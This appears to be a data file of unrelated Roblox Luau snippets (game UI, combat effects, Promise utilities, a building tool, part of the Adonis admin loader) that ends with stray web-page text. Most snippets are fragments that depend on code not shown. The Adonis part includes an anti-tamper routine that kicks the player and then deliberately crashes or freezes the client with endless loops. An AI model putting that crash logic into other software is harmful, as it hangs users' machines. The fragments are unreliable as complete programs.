-- The names of the frames in the Attribute frame correspond to stat names
|
function UpdateAttributes()
script.Parent:WaitForChild("Points").Text = "Points: " .. players.LocalPlayer.Stats.Points.Value
for _,attribute in pairs(attributes:GetChildren()) do
if attribute.ClassName == "Frame" then
local cap = replicatedStorage.ServerSettings:FindFirstChild(attribute.Name .. "Cap")
local stat = players.LocalPlayer.Attributes:FindFirstChild(attribute.Name)
local percentage = 1
if cap and stat then
percentage = stat.Value / cap.Value
end
attribute.Bar.Fill.Position = UDim2.new(percentage - 1, 0, 0, 0)
attribute.Title.Text = attribute.Name .. " (" .. stat.Value .. ")"
end
end
end
script.Parent:WaitForChild("Reset").MouseButton1Click:Connect(function()
require(playSoundEffect)("Unequip")
workspace.Remotes.ResetPoints:InvokeServer()
UpdateAttributes()
end)
script.Parent:WaitForChild("Close").MouseButton1Click:Connect(function()
require(switchMenu)(true)
end)
script.Parent:GetPropertyChangedSignal("Visible"):Connect(function()
if script.Parent.Visible == true then
UpdateAttributes()
end
end)
for _,attribute in pairs(attributes:GetChildren()) do
if attribute.ClassName == "Frame" then
attribute:WaitForChild("Add").MouseButton1Click:Connect(function()
local success = workspace.Remotes.UsePointForAttribute:InvokeServer(attribute.Name)
if success then
require(playSoundEffect)("Equip")
UpdateAttributes()
end
end)
end
end
|
-- ================================================================================
-- LOCAL FUNCTIONS
-- ================================================================================
|
local function exit()
ContextActionService:UnbindAction("ExitSpeeder")
local raceStatus = RaceManager:GetRaceStatus()
if raceStatus == RaceManager.Status.WaitingForPlayers or
raceStatus == RaceManager.Status.WaitingForRaceToStart then
RemoveActivePlayer:FireServer()
else
PlayerConverter:SpeederToPlayer()
end
end -- exit()
|
--[=[
Repeatedly calls a Promise-returning function up to `times` number of times, until the returned Promise resolves.
If the amount of retries is exceeded, the function will return the latest rejected Promise.
```lua
local function canFail(a, b, c)
return Promise.new(function(resolve, reject)
-- do something that can fail
local failed, thing = doSomethingThatCanFail(a, b, c)
if failed then
reject("it failed")
else
resolve(thing)
end
end)
end
local MAX_RETRIES = 10
local value = Promise.retry(canFail, MAX_RETRIES, "foo", "bar", "baz") -- args to send to canFail
```
@since 3.0.0
@param callback (...: P) -> Promise<T>
@param times number
@param ...? P
]=]
|
function Promise.retry(callback, times, ...)
assert(isCallable(callback), "Parameter #1 to Promise.retry must be a function")
assert(type(times) == "number", "Parameter #2 to Promise.retry must be a number")
local args, length = { ... }, select("#", ...)
return Promise.resolve(callback(...)):catch(function(...)
if times > 0 then
return Promise.retry(callback, times - 1, unpack(args, 1, length))
else
return Promise.reject(...)
end
end)
end
|
--[[
onChatAnimationPlayed(animationId: string, triggerWord: string): RBXScriptSignal
This client event is fired every time the "chat emotes" feature plays an animation in response to a chat message being
sent by the local player. It passes down both the ID of the animation that was activated and the corresponding trigger
word that was detected in the message.
--]]
|
SocialInteractions.onChatAnimationPlayed:Connect(function(animationId, triggerWord)
print("Chat animation was played", animationId, triggerWord)
end)
|
--[[
local warn = function(...)
warn(...)
end
]]
|
local cPcall = function(func, ...)
local ran, err = pcall(coroutine.resume, coroutine.create(func), ...)
if err then
warn(':: ADONIS_ERROR ::',err)
logError(tostring(err))
end
return ran, err
end
local Pcall = function(func, ...)
local ran, err = pcall(func, ...)
if err then
logError(tostring(err))
end
return ran, err
end
local Routine = function(func, ...)
return coroutine.resume(coroutine.create(func), ...)
end
local Immutable = function(...)
local mut = coroutine.wrap(function(...)
while true do
coroutine.yield(...)
end
end)
mut(...)
return mut
end
local player = game:GetService("Players").LocalPlayer
local Fire, Detected
local wrap = coroutine.wrap
local Kill; Kill = Immutable(function(info)
--if true then print(info or "SOMETHING TRIED TO CRASH CLIENT?") return end
wrap(function() pcall(function()
if Detected then
Detected("kick", info)
elseif Fire then
Fire("BadMemes", info)
end
end) end)()
wrap(function() pcall(function()
wait(1)
service.Player:Kick(info)
end) end)()
wrap(function() pcall(function()
wait(5)
while true do
pcall(spawn,function()
spawn(Kill())
-- memes
end)
end
end) end)()
end);
local GetEnv;
GetEnv = function(env, repl)
local scriptEnv = setmetatable({},{
__index = function(tab,ind)
return (locals[ind] or (env or origEnv)[ind])
end;
__metatable = unique;
})
if repl and type(repl)=="table" then
for ind, val in pairs(repl) do
scriptEnv[ind] = val
end
end
return scriptEnv
end
local LoadModule = function(plugin, yield, envVars)
local plugran, plug = pcall(require, plugin)
if plugran then
if type(plug) == "function" then
if yield then
--Pcall(setfenv(plug,GetEnv(getfenv(plug), envVars)))
local ran,err = service.TrackTask("Plugin: ".. tostring(plugin), setfenv(plug, GetEnv(getfenv(plug), envVars)))
if not ran then
warn("Module encountered an error while loading: "..tostring(plugin))
warn(tostring(err))
end
else
--service.Threads.RunTask("PLUGIN: "..tostring(plugin),setfenv(plug,GetEnv(getfenv(plug), envVars)))
local ran,err = service.TrackTask("Thread: Plugin: ".. tostring(plugin), setfenv(plug, GetEnv(getfenv(plug), envVars)))
if not ran then
warn("Module encountered an error while loading: "..tostring(plugin))
warn(tostring(err))
end
end
else
client[plugin.Name] = plug
end
else
warn("Error while loading client module", plugin, plug)
end
end;
log("Client setmetatable");
client = setmetatable({
Handlers = {};
Modules = {};
Service = service;
Module = script;
Print = print;
Warn = warn;
Deps = {};
Pcall = Pcall;
cPcall = cPcall;
Routine = Routine;
OldPrint = oldPrint;
LogError = logError;
TestEvent = Instance.new("RemoteEvent");
Disconnect = function(info)
service.Player:Kick(info or "Disconnected from server")
--wait(30)
--client.Kill()(info)
end;
--Kill = Kill;
}, {
__index = function(self, ind)
if ind == "Kill" then
local ran,func = pcall(function() return Kill() end);
if not ran or type(func) ~= "function" then
service.Players.LocalPlayer:Kick("Adonis (PlrClientIndexKlErr)");
while true do end
end
return func;
end
end
});
locals = {
Pcall = Pcall;
GetEnv = GetEnv;
cPcall = cPcall;
client = client;
Folder = Folder;
Routine = Routine;
service = service;
logError = logError;
origEnv = origEnv;
log = log;
dumplog = dumplog;
}
log("Create service metatable");
service = require(Folder.Shared.Service)(function(eType, msg, desc, ...)
--warn(eType, msg, desc, ...)
local extra = {...}
if eType == "MethodError" then
--Kill()("Shananigans denied")
--player:Kick("Method error")
--service.Detected("kick", "Method change detected")
logError("Client", "Method Error Occured: "..tostring(msg))
elseif eType == "ServerError" then
logError("Client", tostring(msg))
elseif eType == "ReadError" then
--message("===== READ ERROR:::::::")
--message(tostring(msg))
--message(tostring(desc))
--message(" ")
Kill()(tostring(msg))
--if Detected then
-- Detected("log", tostring(msg))
--end
end
end, function(c, parent, tab)
if not isModule(c) and c ~= script and c ~= Folder and parent == nil then
tab.UnHook()
end
end, ServiceSpecific, GetEnv(nil, {client = client}))
|
--
|
script.Parent.OnServerEvent:Connect(function(p)
local Character = p.Character
local Humanoid = Character.Humanoid
local RootPart = Character.HumanoidRootPart
local anim1 = Humanoid:LoadAnimation(script["1"])
local anim2 = Humanoid:LoadAnimation(script["2"])
local FX = Assets["Red"]:Clone()
local RArmFX = Assets.RA.Attachment:Clone()
local RArm = Character["Right Arm"]
RArmFX.Sound:Play()
RArmFX.Voice:Play()
RArmFX.Parent = RArm
Humanoid.WalkSpeed = 0
Humanoid.JumpPower = 0
Humanoid.JumpHeight = 0
local vel = Instance.new("BodyVelocity", RootPart)
vel.MaxForce = Vector3.new(1,1,1) * 1000000;
vel.Parent = RootPart
vel.Velocity = Vector3.new(1,1,1) * p.Character:WaitForChild("HumanoidRootPart").CFrame.LookVector * 0
vel.Name = "SmallMoveVel"
game.Debris:AddItem(vel,1)
FX.Parent = workspace.Effects
FX.CFrame = RootPart.CFrame * CFrame.new(0,2,-5)
anim1:Play()
wait(1.25)
Humanoid.AutoRotate = false
for _,Particles in pairs(RArmFX.Attachment.Parent:GetDescendants()) do
if Particles:IsA("ParticleEmitter") then
Particles.Enabled = false
end
end
RArmFX.N.Enabled = true
RArmFX.N2.Enabled = true
RArmFX.N3.Enabled = true
wait(.5)
anim2:Play()
RArmFX:Destroy()
FX.Parent = workspace.Effects
FX.CFrame = RootPart.CFrame * CFrame.new(0,-3,-25)
FX.Sound:Play()
for _,Particles in pairs(FX.Red.Attachment:GetDescendants()) do
if Particles:IsA("ParticleEmitter") then
Particles:Emit(Particles:GetAttribute("EmitCount"))
end
end
for _,Particles in pairs(FX.Red.Attachment2:GetDescendants()) do
if Particles:IsA("ParticleEmitter") then
Particles:Emit(Particles:GetAttribute("EmitCount"))
end
end
for _,Particles in pairs(FX.Red.Explode:GetDescendants()) do
if Particles:IsA("ParticleEmitter") then
Particles:Emit(Particles:GetAttribute("EmitCount"))
end
end
for _,Particles in pairs(FX.Red.Parent:GetDescendants()) do
if Particles:IsA("ParticleEmitter") then
Particles:Emit(Particles:GetAttribute("EmitCount"))
end
end
for _,Particles in pairs(FX.Red.FX:GetDescendants()) do
if Particles:IsA("ParticleEmitter") then
Particles:Emit(Particles:GetAttribute("EmitCount"))
end
end
for _,Particles in pairs(FX.Red.FX2:GetDescendants()) do
if Particles:IsA("ParticleEmitter") then
Particles:Emit(Particles:GetAttribute("EmitCount"))
end
end
local hitcontent = workspace:GetPartBoundsInBox(FX.CFrame, Vector3.new(18, 14.5, 52))
local hitlist = {}
for _,v in pairs(hitcontent) do
if v.Parent:FindFirstChild("Humanoid") and v.Parent ~= Character then
if not hitlist[v.Parent.Humanoid] then
hitlist[v.Parent.Humanoid] = true
v.Parent.Humanoid:TakeDamage(Damage)
local vel = Instance.new("BodyVelocity", v.Parent.HumanoidRootPart)
vel.MaxForce = Vector3.new(1,1,1) * 1000000;
vel.Parent = v.Parent.HumanoidRootPart
vel.Velocity = Vector3.new(1,1,1) * p.Character:WaitForChild("HumanoidRootPart").CFrame.LookVector * 180
vel.Name = "SmallMoveVel"
game.Debris:AddItem(vel,0.1)
local HitFX = Assets.HitFX.Attach:Clone()
HitFX.Parent = v.Parent.HumanoidRootPart
for _,Particles in pairs(HitFX:GetDescendants()) do
if Particles:IsA("ParticleEmitter") then
Particles:Emit(Particles:GetAttribute("EmitCount"))
end
end
game.Debris:AddItem(HitFX,3)
end
end
end
RockModule.RayCastEffect(RootPart, 10, 6.5, -6.5, 1, 1)
anim1:Stop()
wait(1.5)
Humanoid.AutoRotate = true
Humanoid.WalkSpeed = 16
Humanoid.JumpPower = 50
Humanoid.JumpHeight = 7.2
wait(3)
FX:Destroy()
end)
|
-- Current UI layout
|
local CurrentLayout;
function MaterialTool:ChangeLayout(Layout)
-- Sets the UI to the given layout
-- Make sure the new layout isn't already set
if CurrentLayout == Layout then
return;
end;
-- Set this as the current layout
CurrentLayout = Layout;
-- Reset the UI
for _, ElementName in pairs(UIElements) do
local Element = self.UI[ElementName];
Element.Visible = false;
end;
-- Keep track of the total vertical extents of all items
local Sum = 0;
-- Go through each layout element
for ItemIndex, ItemName in ipairs(Layout) do
local Item = self.UI[ItemName];
-- Make the item visible
Item.Visible = true;
-- Position this item underneath the past items
Item.Position = UDim2.new(0, 0, 0, 20) + UDim2.new(
Item.Position.X.Scale,
Item.Position.X.Offset,
0,
Sum + 10
);
-- Update the sum of item heights
Sum = Sum + 10 + Item.AbsoluteSize.Y;
end;
-- Resize the container to fit the new layout
self.UI.Size = UDim2.new(0, 200, 0, 40 + Sum);
end;
function MaterialTool:UpdateUI()
-- Updates information on the UI
-- Make sure the UI's on
if not self.UI then
return;
end;
-- References to inputs
local TransparencyInput = self.UI.TransparencyOption.Input.TextBox;
local ReflectanceInput = self.UI.ReflectanceOption.Input.TextBox;
-----------------------
-- Update the UI layout
-----------------------
-- Figure out the necessary UI layout
if #Selection.Parts == 0 then
self:ChangeLayout(Layouts.EmptySelection);
return;
-- When the selection isn't empty
else
self:ChangeLayout(Layouts.Normal);
end;
-- Get the common properties
local Material = Support.IdentifyCommonProperty(Selection.Parts, 'Material');
local Transparency = Support.IdentifyCommonProperty(Selection.Parts, 'Transparency');
local Reflectance = Support.IdentifyCommonProperty(Selection.Parts, 'Reflectance');
-- Update the material dropdown
if self.CurrentMaterial ~= Material then
self.CurrentMaterial = Material
self.OnMaterialChanged:Fire(Material)
end
-- Update inputs
UpdateDataInputs {
[TransparencyInput] = Transparency and Support.Round(Transparency, 2) or '*';
[ReflectanceInput] = Reflectance and Support.Round(Reflectance, 2) or '*';
};
end;
function TrackChange()
-- Start the record
HistoryRecord = {
Before = {};
After = {};
Selection = Selection.Items;
Unapply = function (Record)
-- Reverts this change
-- Select the changed parts
Selection.Replace(Record.Selection)
-- Send the change request
Core.SyncAPI:Invoke('SyncMaterial', Record.Before);
end;
Apply = function (Record)
-- Applies this change
-- Select the changed parts
Selection.Replace(Record.Selection)
-- Send the change request
Core.SyncAPI:Invoke('SyncMaterial', Record.After);
end;
};
end;
function RegisterChange()
-- Finishes creating the history record and registers it
-- Make sure there's an in-progress history record
if not HistoryRecord then
return;
end;
-- Send the change to the server
Core.SyncAPI:Invoke('SyncMaterial', HistoryRecord.After);
-- Register the record and clear the staging
Core.History.Add(HistoryRecord);
HistoryRecord = nil;
end;
|
-- Customized explosive effect that doesn't affect teammates and only breaks joints on dead parts
|
local function OnExplosionHit(hitPart, hitDistance, blastCenter)
if hitPart and hitDistance then
local character, humanoid = FindCharacterAncestor(hitPart.Parent)
if humanoid and humanoid.Health > 0 then -- Humanoids are tagged and damaged
if hitPart.Name == 'Torso' then
--ApplyTags(humanoid)
DamageTag(character,BLAST_DAMAGE)
--humanoid:TakeDamage(BLAST_DAMAGE)
end
end
end
end
local function OnTouched(otherPart,RayPos)
if Rocket and otherPart then
-- Fly through anything in the ignore list
if IGNORE_LIST[string.lower(otherPart.Name)] or (otherPart.Parent == Tank) then
return
end
local myPlayer = CreatorTag.Value
if myPlayer then
-- Fly through the creator
if myPlayer.Character and myPlayer.Character:IsAncestorOf(otherPart) then
return
end
-- Fly through friendlies
if not myPlayer.Neutral then
local character = FindCharacterAncestor(otherPart.Parent)
local player = PlayersService:GetPlayerFromCharacter(character)
if player and player ~= myPlayer and player.TeamColor == Rocket.BrickColor then
return
end
end
end
-- Fly through terrain water
--[[if otherPart == Workspace.Terrain then
--NOTE: If the rocket is large, then the simplifications made here will cause it to fly through terrain in some cases
local frontOfRocket = Rocket.Position + (Rocket.CFrame.lookVector * (Rocket.Size.Z / 2))
local cellLocation = Workspace.Terrain:WorldToCellPreferSolid(frontOfRocket)
local cellMaterial = Workspace.Terrain:GetCell(cellLocation.X, cellLocation.Y, cellLocation.Z)
if cellMaterial == Enum.CellMaterial.Water or cellMaterial == Enum.CellMaterial.Empty then
return
end
end]]
Rocket.Transparency = 1
Rocket.CFrame = CFrame.new(RayPos.X,RayPos.Y,RayPos.Z)
-- Create the explosion
local explosion = Instance.new('Explosion')
explosion.BlastPressure = 500000 -- Completely safe explosion
explosion.BlastRadius = BLAST_RADIUS
explosion.DestroyJointRadiusPercent = 0
explosion.ExplosionType = Enum.ExplosionType.NoCraters
explosion.Position = Rocket.Position
explosion.Parent = game.Players.LocalPlayer.Character.Torso
-- Connect custom logic for the explosion
explosion.Hit:connect(function(hitPart, hitDistance) OnExplosionHit(hitPart, hitDistance, explosion.Position) end)
ypcall(function()
for i = 1, 3 do
ExplodeClone = Explode:clone()
ExplodeClone.Position = Rocket.Position
ExplodeClone.Mesh.Scale = Vector3.new(5,5,5)*5
ExplodeClone.CFrame = ExplodeClone.CFrame * CFrame.fromEulerAnglesXYZ(math.random(-10000,10000)/100,math.random(-10000,10000)/100,math.random(-10000,10000)/100)
ExplodeClone.Parent = game.Players.LocalPlayer.Character.Torso
NewScript = Rocket.SmokeScript:clone()
NewScript.Disabled = false
NewScript.Parent = ExplodeClone
end
end)
-- Move this script and the creator tag (so our custom logic can execute), then destroy the rocket
script.Parent = explosion
CreatorTag.Parent = script
Rocket:Destroy()
end
end
|
--// Damage Settings
|
BaseDamage = 42; -- Torso Damage
LimbDamage = 35; -- Arms and Legs
ArmorDamage = 35; -- How much damage is dealt against armor (Name the armor "Armor")
HeadDamage = 61; -- If you set this to 100, there's a chance the player won't die because of the heal script
|
-- Core selection system
|
Selection = {}
Selection.Items = {}
Selection.ItemIndex = {}
Selection.Parts = {}
Selection.PartIndex = {}
Selection.Models = {}
Selection.ModelIndex = {}
Selection.Outlines = {}
Selection.Color = BrickColor.new 'Cyan'
Selection.Multiselecting = false
Selection.Maid = Maid.new()
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.